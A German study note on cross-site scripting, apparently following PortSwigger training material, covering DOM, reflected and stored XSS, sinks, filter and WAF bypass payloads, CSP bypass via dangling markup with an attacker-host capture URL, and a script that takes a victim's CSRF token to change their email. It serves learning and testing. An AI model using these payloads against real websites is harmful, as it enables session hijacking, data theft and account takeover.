Mit Cross-site scripting ist es möglich die same origin policy zu umgehen, welche dazu dient unterschiedliche Webseiten zu separieren. Die Content Security Policy (CSP) ist ein weiterer Sicherheitsmechanismus, welcher cross-site scripting und andere Schwachstellen behindern oder sogar verhindern soll. Allerdings kann die CSP oft leicht umgangen werden.
![[cross-site-scripting 1.svg]]
DOM-basiertes Cross-site scripting
[!info] Sink und Source Bei der Source handelt es sich um den Teil im HTML Dokument, welcher von der Sink als Eingabe genutzt wird.
Diese Art des XSS Angriffs tritt auf, wenn eine Webanwendung Daten aus einer nicht vertrauenswürdigen Quelle nicht validiert. Meistens beim zurückschreiben der Daten ins DOM. Das folgende Beispiel veranschaulicht dies, indem aus dem Such Element der Wert genommen wird und wieder auf die Seite geschrieben wird.
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;
innerHTML sink akzeptiert das script Element in modernen Browsern nicht. Zudem wird das svg onload Event nicht ausgelöst. Das bedeutet, alternative Elemente wie, img oder iframe müssen benutzt werden. Die Events onload und onerror können mit diesen Elementen genutzt werden. Beispielsweise:
element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'
DOM XSS in jQuery
In jQuery müssen nach jQuery spezifischen Funktionen gesucht werden, welche das DOM ändert. Dazu zählt beispielsweise die attr() Funktion. Die Folgende Funktion nimmt den GET Parameter returnUrl und schreibt ihn in das #backLink Element.
$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
$() Selektor. Ein häufiger Einfallsvektor für XSS in jQuery ist location.hash. Dieser Parameter dient dazu, um zu einer bestimmten Stelle auf der Seite zu scrollen. Dazu wurde meist eine verwundbare hashchange Funktion genutzt:
$(window).on('hashchange', function() {
var element = $(location.hash);
element[0].scrollIntoView();
});
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
XSS in Angular
AngularJS scannt das HTML Dokument auf Elemente, welche das ng-app Attribut enthalten(auch als AngularJS direktive bekannt). Wenn dem Code eine Direktive hinzugefügt wird kann Javascript in doppelten geschweifeten Klammern ausgeführt werden. Dies ist nützlich, wenn spitze Klammern enkodiert werden.
Beispielsweise mit {{constructor.constructor('alert(1)')()}}.
Weitere Infos
DOM XSS kombiniert mit reflected und stored
Auch ist es möglich, dass DOM zusammen mit reflected XSS auftritt. DOM XSS ist auch ausnutzbar, indem die Antwort des Servers einfach auf der Seite ohne Validierung angezeigt wird. Dazu ein beispiel um, dies besser zu verstehen:
[!example] Beispiel von reflected DOM XSS Der Nutzer sucht etwas, dafür wird eine Anfrage mithilfe von Javascript an den Server gestellt:
GET /search-results?search=\"-alert(1)} //. Der Server liefert wiederum das Ergebnis zurück:Im nächsten Schritt wird dies von einer unsicheren Sink verarbeitet und führt zur Ausführung von Javascript.{"results":[],"searchTerm":"\\"-alert(1)} //"}
Daneben gibt es auch noch stored DOM XSS. Hierbei nutzt eine Sink einen gespeicherten Wert. Dieser Wert wird nicht ordnungsgemäß gespeichert oder validiert und kann so ausgenutzt werden.
Sinks die zu DOM XSS führen können
document.write()
document.writeln()
document.domain
element.innerHTML
element.outerHTML
element.insertAdjacentHTML
element.onevent
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
Dangling Markup
Technik mit der Domänenübergreifend Daten erfasst werden können, wenn ein XSS Angriff Aufgrund von Eingabefiltern oder anderen Schutzmaßnahmen nicht möglich ist. Oft ist es hierdurch möglich sensible Informationen abzugreifen, welche für andere Nutzer sichtbar sind. Darunter fallen auch CSRF-Token.
XSS finden
- Validieren aller Eingabefelder mithilfe von alphanumerischen Zeichen, bei denen die wahrscheinlichkeit klein ist, dass sie in der Antwort enthalten sind.
- Der Kontext an den Stellen an denen der alphanumerische Wert Reflektiert wird muss ausgewertet werden. Beispielsweise kann der Wert zwischen HTML Tags, innerhalb eines tag attributes oder in einem JavaScript String sein.
Stored cross-site scripting
Auch bekannt als second-order oder persistentes XSS.
XSS Kontexte
Beim testen von XSS ist ein wichtiger Teil den Kontext zu identifizieren. - Identifizieren des Teils in der Antwort, welcher den Nutzer kontrollierbaren Teil enthält. - Identifizierung der Eingabevalidierung, welche auf die Daten angewandt werden.
Attribute und Tags
Sind einige Attribute oder Tags geblockt, kann dies per Dictionary Attack möglicherweise rausgefunden werden. Dazu können die möglichen Tags aus der XSS Cheat Sheet Tabelle entnommen und geprüft werden. Auch kann es nötig sein verschachtelte Tags zu nutzen. Beispielsweise wird im folgenden im <svg> Tag, der <a> Tag. Und dieser wiederum enthält den <animate> Tag, mit welchem es möglich ist, den <a> Tag anzupassen.
<svg><a><animate attributeName="href" values=javascript:alert() /><text x=45 y=45>Click me</text></a></svg>
XSS in HTML tag attributes
Liegt der XSS Kontext innerhalb eines HTML Tags ist es möglich hierraus auszubrechen:
"><script>alert()</script>
< und > sind aber häufig blockiert. Dazu kann innerhalb des HTML Tags ein event erstellt werden:
" autofocus onfocus=alert() x="
XSS in hidden elements
https://portswigger.net/research/xss-in-hidden-input-fields Es ist möglich xss in versteckte Elemente zu injizieren. Dies ist allerdings schwieriger, da viele Events nicht für versteckte Elemente funktionieren. Dafür gibt es die Möglichkeiten Tastenkombinationen zuzuweisen, um Javascript auszulösen:
<input type="hidden" accesskey="X" onclick="alert(1)">
ALT, SHIFT und die spezifizierte Taste. In diesem Fall also x. Auch funktioniert dies mit anderen Elementen, wie link oder meta Tags:
<link rel="canonical" accesskey="X" onclick="alert(1)" />
XSS in Javascript
Es ist auch möglich XSS in Javascript zu injizieren. Im einfachsten Fall ist es möglich den <script> Tag zu schließen. Und danach einfach andere HTML Tags zu benutzen, welche XSS Angriffe ausführen. Der Grund warum dies funktioniert ist, dass der Browser zuerst das HTML parst, um die Elemente auf der Seite zu identifizieren. Erst danach wird das Javascript geparst. Der im Beispiel gezeigte Payload, macht das Original Skript kaputt und lässt einen String ungeschlossen. Doch dies verhindert die Ausführung des Skripts nicht.
Beispielsweise kann in das folgende Skript Tag:
<script>
var input = 'kontrollierbare Daten';
</script>
</script><img src=1 onerror=alert()>
<script>
var input = '</script><img src="1" onerror="alert()"';
Ausbruch aus einem Javascript String
In Fällen, in denen der XSS Kontext innerhalb eines Strings ist, ist es häufig möglich hier auszubrechen. Dabei muss beachtet werden, dass der XSS Kontext repariert werden muss, der dem XSS Kontext folgt da es sonst sein kann, dass das XSS nicht ausgeführt werden kann. Einige nützliche Ausbrüche sind:
'-alert()-'
';alert()//
Umgehung geblockter Zeichen
Manche Applikationen oder die WAF blocken bestimmte Zeichen. Dies kann umgangen werden indem bestimmte Funktionen aufgerufen werden. Ein Möglichkeit hierfür ist das throw statement mit dem Fehler handler zu benutzen. Dies ermöglicht es Argumente einer Funktion zu übergeben, ohne Klammern zu nutzen. Der nachfolgende Code weist dem Fehler handler die alert() Funktion zu und das throw statement, übergibt der alert() Funktion die 1:
onerror=alert;throw 1
<script>{onerror=alert}throw 1337</script>
Uncaught haha.
Um das Uncaught auszublenden, kann der String mit einem = starten. Dadurch wird das Uncaught als Variable betrachtet.
<script>{onerror=eval}throw'=alert\x281337\x29'</script>
Uncaught=alert(1337) zu der eval Funktion geschickt. Dies funktioniert unter Chrome, aber unter firefox wird ein uncaught exception davor eingefügt, was zu einem Syntax Fehler führt.
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
https://portswigger.net/research/xss-without-parentheses-and-semi-colons
Nutzung der HTML enkodierung
Liegt der XSS Kontext innerhalb eines existierenden Javascript mit einem Tag in Anführungszeichen, wie eines Event Handlers, ist es möglich mithilfe von HTML enkodierung einige Eingabefilter zu umgehen. Nach dem rendern der HTML Tags und der Attribute, erfolgt eine HTML dekodierung. Ein möglicher Payload für diesen Fall wäre:
'-alert(document.domain)-'
XSS in Javascript template Literalen
Javascript-Template-Literale, sind String-Literale, welche eingebettete Javascript Ausdrücke zulassen. Diese Ausdrücke werden ausgewertet und für gewöhnlich mit dem umgebenden Text verkettet. Diese Template Literale befinden sich in backticks und eingebettete Ausdrücke werden durch die ${...} Syntax genutzt.
Ein Beispiel könnte so aussehen:
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
${alert(document.domain)} eingefügt werden.
Dangling Markup
Dangling Markup wird verwendet, wenn eine vollständige XSS Attacke nicht möglich ist.
Dazu wird angenommen, dass die Applikation weder > noch " Filtert. Dann kann ein Payload wie der folgende genutzt werden:
"><img src='//attacker-website.com?
src Attributs wird als "dangling" bezeichnet. Der Browser hängt nun alles an die URL an, bis ein ' gefunden wurde. Dies kann dazu führen, dass sensible Daten preisgegeben werden.
Content security policy
Dieser Sicherheitsmechanismus dient dazu verschiedene Angriffe, darunter XSS zu verhindern. Dies wird dadurch erreicht, dass bestimmte Resourcen, wie Skripte und Bilder eingeschränkt werden.
Um diesen Sicherheitsmechanismus zu aktivieren muss der HTTP response Header Content-Security-Policy genutzt werden.
Die sogenannte "same origin" policy erlaubt nur den Zugriff auf die selbe Resource. Das heißt das Protokoll, der Port, sowie die Domain müssen dieselben sein.
Um diese Policy noch sicherer zu machen, kann auch ein nonce benutzt werden, welches für jeden Aufruf einen kryptografisch zufälligen nonce erzeugt. Zudem gibt es noch die Möglichkeit das Skript zu hashen und sollte es sich verändert haben, ist eine Ausführung nicht mehr möglich.
Umgehung der CSP durch dangling markup
Eine Möglichkeit die CSP zu umgehen, ist durch dangling markup. Diese Technik ist nützlich, wenn reflected XSS nicht funktioniert oder durch die CSP geblockt ist.
Eine CSP Policy wie default-src 'none'; base-uri 'none'; blockt den einfachen dangling markup Angriff. Doch hierbei kann das base Tag mit dem target Attribut genutzt werden. Dadurch ist es möglich den "window name" jedes Links auf der Seite zu ändern. Wird nun das target Attribut unvollständig injiziert, wird der "window name" entsprechend mit allem dem target folgenden markup gesetzt, bis das Anführungszeichen geschlossen wird. Um nun die Daten zu erhalten, muss der Nutzer den Link klicken. Da der "window name" über Domains hinweg sichtbar ist, kann dieser ausgelesen werden.
Der folgende Code nutzt diesen Angriff:
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="blah
<script>alert("The extracted content is:" + name);</script>
base Tag direkt am Anfang selbst definiert werden, bevor ein Angreifer überhaupt die Möglichkeit hat, sein eigenes base Tag zu definieren:
<base target="_self" />
<input name="x" type="hidden" form="x" value="<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a>">
<button form="x">
<font size="100" color="red">Click me</font>
</button>
<form id="x" target="
target Attribut. Wird nun dieser Button geklickt ruft die Seite sich selbst auf und setzt das dangling markup, sowie den Code, welcher sich im versteckten input Element versteckt ein. Es entsteht erneut ein Link, der wieder angeklickt werden muss. Doch dieser Link kann nun der Server des Angreifers sein und ihm die gewünschten Daten liefern.
https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Schutz vor Clickjacking
Die folgende Direktive erlaubt nur, dass die Seite nur von Seiten desselben Ursprungs durch iframes eingebettet werden können.
frame-ancestors 'self'
frame-ancestors 'none' verhindert dies vollständig.
CSP ist dem X-Frame-Options Header vorzuziehen, da dieser ein veralteter ist und der CSP auch die frames der Hierarchie prüft.
Exploit XSS
Meistens wird die alert() Funktion zum zeigen einer gefundenen Lücke genutzt. Manchmal auch alert(document.domain), dies hat den Vorteil, dass direkt angezeigt wird, auf welcher Seite der Code ausgeführt wird. Eine alternative zum alert() ist die print() Funktion, bei welcher die Wahrscheinlichkeit niedriger ist, dass sie geblockt ist als die alert() Funktion.
Steal Cookies
Limitationen:
1. Opfer ausgeloggt
2. HttpOnly Flag versteckt Cookie vom Javascript
3. Sessions sind an zusätzliche Faktoren, wie IP adressen gebunden.
4. Die Session ist abgelaufen, bevor sie ausgenutzt werden kann.
```html
## Fangen von Passwörtern
Heutzutage nutzen viele Nutzer Passwortmanager, die automatisch die Passwortfelder ausfüllen. Dieses Verhalten kann ausgenutzt werden um diese Passwörter zu erlangen.
## XSS um CSRF auszuführen
Durch eine XSS Lücke können auch im Namen des Opfers aktionen ausgeführt werden, wenn beispielsweise die Anwendung nicht beim ändern der Mail nach dem Passwort fragt, kann dies leicht geändert werden.
```html
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/my-account', true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf=' + token + '&email=test@test.com')
};
</script>
XSS REGEX BYPASS
Groß kleinschreibung:
<sCrIpT>print()</sCriPt>
<<script>print()</script>
<script>print() //
<script>alert`XSS`</script>
java%0script:alert(1)
<iframe src=malicous.com <
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE>
/
<img/src=1/onerror=alert(0)>
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa href=javascript:alert(1)>xss</a>
Function("ale"+"rt(1)")();
javascript:74163166147401571561541571411447514115414516216450615176
/?id=1+un/**/ion+sel/**/ect+1,2,3--
%26%2397;lert(1)
<a src="%0Aj%0Aa%0Av%0Aa%0As%0c%0Ar%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)">
Nutzung von zeichen, die keine Buchstaben sind
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
Cheat Sheet
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://0a17002503045ff4813d75da0081009e.web-security-academy.net/post?postId=4&test=2%27accesskey=%27X%27onclick=%27javascript:alert(1)